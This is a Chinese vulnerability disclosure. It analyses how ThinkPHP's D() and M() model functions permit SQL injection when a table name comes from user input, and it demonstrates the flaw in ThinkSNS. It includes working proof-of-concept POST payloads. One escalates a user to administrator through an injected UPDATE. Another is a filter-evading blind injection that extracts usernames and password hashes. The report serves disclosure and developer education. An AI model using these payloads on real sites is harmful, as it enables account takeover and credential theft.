### 简要描述:
从ThinkPHP谈基于框架开发程序的安全性二,继续讨论基于框架开发可能带来的问题,厂商忽略不忽略都没关系,主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。
### 详细说明:
首先我们来看看官方文档:
http://document.thinkphp.cn/manual_3_2.html#model_instance
这里主要介绍了模型实例化的一些方法
终点介绍了D方法和M方法的使用
D方法实例化
```
<?php
//实例化模型
$User = D('User');
// 相当于 $User = new \Home\Model\UserModel();
// 执行具体的数据操作
$User->select();
```
M方法实例化
```
// 使用M方法实例化
$User = M('User');
// 和用法 $User = new \Think\Model('User'); 等效
// 执行其他的数据操作
$User->select();
```
最后官方提到:
```
我们在实例化的过程中,经常使用D方法和M方法。
这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会自动调用M方法。
```
问题:
那么,要是我们在实例化模型时,程序员想动态传入模型内容咧?;例如:
```
......
$table = I('post.table_name');
$model = D($table);
//$model = M($table);
$row = $model->where("role=".$role)->find();
```
这样是不是可行
我们来写个例子看一下。
```
public function test(){
if (IS_POST) {
$role = I('post.role', '', 'trim');
if (empty($role)) {
$this->error('角色不能为空');
}
$map['role'] = $role;
$table = I('post.table_name');
$model = D($table);
//$model = M($table);
$row = $model->where($map)->find();
if (empty($row)) {
echo 0;
}else{
echo 1;
var_dump($row);
}
}
}
```
这里我们动态传入要实例化的模型类
[<img src="https://images.seebug.org/upload/201412/302337534717edc1120f83e49e18659e24891ec2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/302337534717edc1120f83e49e18659e24891ec2.png)
可以看到我们正常传入user模型,这里执行正常
我们来看看代码
先看看D函数:/ThinkPHP/Common/functions.php
```
/**
* 实例化模型类 格式 [资源://][模块/]模型
* @param string $name 资源地址
* @param string $layer 模型层名称
* @return Model
*/
function D($name='',$layer='') {
if(empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer? : C('DEFAULT_M_LAYER');
if(isset($_model[$name.$layer]))
return $_model[$name.$layer];
$class = parse_res_name($name,$layer);
if(class_exists($class)) {
$model = new $class(basename($name));
}elseif(false === strpos($name,'/')){
// 自动加载公共模块下面的模型
if(!C('APP_USE_NAMESPACE')){
import('Common/'.$layer.'/'.$class);
}else{
$class = '\\Common\\'.$layer.'\\'.$name.$layer;
}
$model = class_exists($class)? new $class($name) : new Think\Model($name);
}else {
Think\Log::record('D方法实例化没找到模型类'.$class,Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name.$layer] = $model;
return $model;
}
```
当class没有定义时
$class = '\\Common\\'.$layer.'\\'.$name.$layer;
然后:$model = class_exists($class)? new $class($name) : new Think\Model($name);
此时,实例化model,new Think\Model($name);
继续跟进Model的实例化过程:
```
/**
* 架构函数
* 取得DB类的实例对象 字段检查
* @access public
* @param string $name 模型名称
* @param string $tablePrefix 表前缀
* @param mixed $connection 数据库连接信息
*/
public function __construct($name='',$tablePrefix='',$connection='') {
// 模型初始化
$this->_initialize();
// 获取模型名称
if(!empty($name)) {
if(strpos($name,'.')) { // 支持 数据库名.模型名的 定义
list($this->dbName,$this->name) = explode('.',$name);
}else{
$this->name = $name;
}
}elseif(empty($this->name)){
$this->name = $this->getModelName();
}
// 设置表前缀
if(is_null($tablePrefix)) {// 前缀为Null表示没有前缀
$this->tablePrefix = '';
}elseif('' != $tablePrefix) {
$this->tablePrefix = $tablePrefix;
}elseif(!isset($this->tablePrefix)){
$this->tablePrefix = C('DB_PREFIX');
}
// 数据库初始化操作
// 获取数据库操作对象
// 当前模型有独立的数据库连接信息
$this->db(0,empty($this->connection)?$connection:$this->connection,true);
}
var_dump($this);//这里我们dump看一下实例化后,有哪些属性
```
这里当name不为空时
$this->name = $name;
将name,就是我们传入的值赋给了实例化的model做了属性
那么,我们传入恶意的数据进入模型类呢?会不会引发问题?
这里我们加一个恶意的传值进去实例化,看的更清楚
[<img src="https://images.seebug.org/upload/201412/3023213892e01ab058596464c0c8fed5860ff1d9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/3023213892e01ab058596464c0c8fed5860ff1d9.png)
可以看到,传入恶意的值,引发了sql报错,恶意数据直接带入了模型内,导致问题产生
[<img src="https://images.seebug.org/upload/201412/3023035660669daa544fa8010ec05ccb4002f10c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/3023035660669daa544fa8010ec05ccb4002f10c.png)
看结果,上面的答案是:
```
在动态传入要实例化的模型类时,没有对传入的模型类进行处理,直接赋值数据表,然后进行查询,这里相当于我们控制了查询是的数据表,当传入恶意数据时,导致SQL注入漏洞。
```
[<img src="https://images.seebug.org/upload/201412/30231229ba1f41135fd37cc6e5103716e28ec241.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/30231229ba1f41135fd37cc6e5103716e28ec241.png)
可能官方说没让程序员这么用
或者大家会说这样用的人太少了
其实,这都说的通,我们来看看实例ThinkSNS
文件/apps/public/Lib/Action/FeedAction.class.php
```
public function shareFeed()
{
// 获取传入的值
$post = $_POST;
// 安全过滤
foreach($post as $key => $val) {
$post[$key] = t($post[$key]);
}
// 过滤内容值
$post['body'] = filter_keyword($post['body']);
// 判断资源是否删除
if(empty($post['curid'])) {
$map['feed_id'] = $post['sid'];
} else {
$map['feed_id'] = $post['curid'];
}
$map['is_del'] = 0;
$isExist = model('Feed')->where($map)->count();
if($isExist == 0) {
$return['status'] = 0;
$return['data'] = '内容已被删除,转发失败';
exit(json_encode($return));
}
// 进行分享操作
$return = model('Share')->shareFeed($post, 'share');
```
变量post直接冲POST接受参数
然后遍历变量post的值,使用 t 函数进行过滤,t 函数的处理过程就不在赘述,存在绕过
最后变量post进入shareFeed函数,跟进
文件/addons/model/ShareModel.class.php:
```
public function shareFeed($data, $from = 'share', $lessUids = null)
{
......
if(!$pk = D($data['type'], $data['app_name'])->getPk()) {
$pk = $data['type'].'_id';
}
D($data['type'], $data['app_name'])->setInc('repost_count', "`{$pk}`={$data['sid']}", 1);
if($data['curid'] != $data['sid'] && !empty($data['curid'])) {
if(!$pk = D($data['curtable'])->getPk()) {
$pk = $data['curtable'].'_id';
}
D($data['curtable'])->setInc('repost_count', "`{$pk}`={$data['curid']}", 1);
D($data['curtable'])->cleanCache($data['curid']);
}
D($data['type'],$data['app_name'])->cleanCache($data['sid']);
} else {
$return['data']=model('Feed')->getError();
}
```
这里的data就是传进来的psot
$data['type'],$data['app_name'],$data['curtable']进入了D函数
此时已经产生了SQL注入漏洞
漏洞证明,提升普通用户为管理员等:
```
http://localhost/thinksns/index.php?app=public&mod=feed&act=shareFeed
curid=1&sid=1&app_name=weibo&curtable=user_group_link set user_group_id = 1 whe<a>re uid = 2%23aaa
http://localhost/thinksns/index.php?app=public&mod=feed&act=shareFeed
```
还有文件/addons/widget/CommentWidget/CommentWidget.class.php
```
public function addcomment() {
// 返回结果集默认值
$return = array (
'status' => 0,
'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data ['app'] = $data ['app_name'];
$data ['table'] = $data ['table_name'];
$data ['content'] = h ( $data ['content'] );
// 判断资源是否被删除
$dao = M ( $data ['table'] );
$idField = $dao->getPk ();
$map [$idField] = $data ['row_id'];
$sourceInfo = $dao->where ( $map )->find ();
```
$data ['table'] = $data ['table_name']
然后$dao = M ( $data ['table'] );
同样,我们可控的元素进入了实例化Model中
这里导致盲注:
```
http://localhost/thinksns/index.php?app=widget&mod=comment&act=addcomment
table_name=user whe<a>re 1=if(mid((sel<a>ect concat(login,0x23,password) fr<a>om ts_user limit 1),1,1)=char(97),sle<a>ep(0.1),2)%23&content=test&row_id=111aaa
http://localhost/thinksns/index.php?app=widget&mod=comment&act=addcomment
```
还有文件/addons/model/CommentModel.class.php存在多出这样的问题
很多这样的问题就不在一一列举了
最后,不管这是谁的问题,如果使用不当,或者和是这么使用了就会产生漏洞
主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201412/302335099e003048098ef652cc6f551b432a828a.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/302335099e003048098ef652cc6f551b432a828a.png)
暂无评论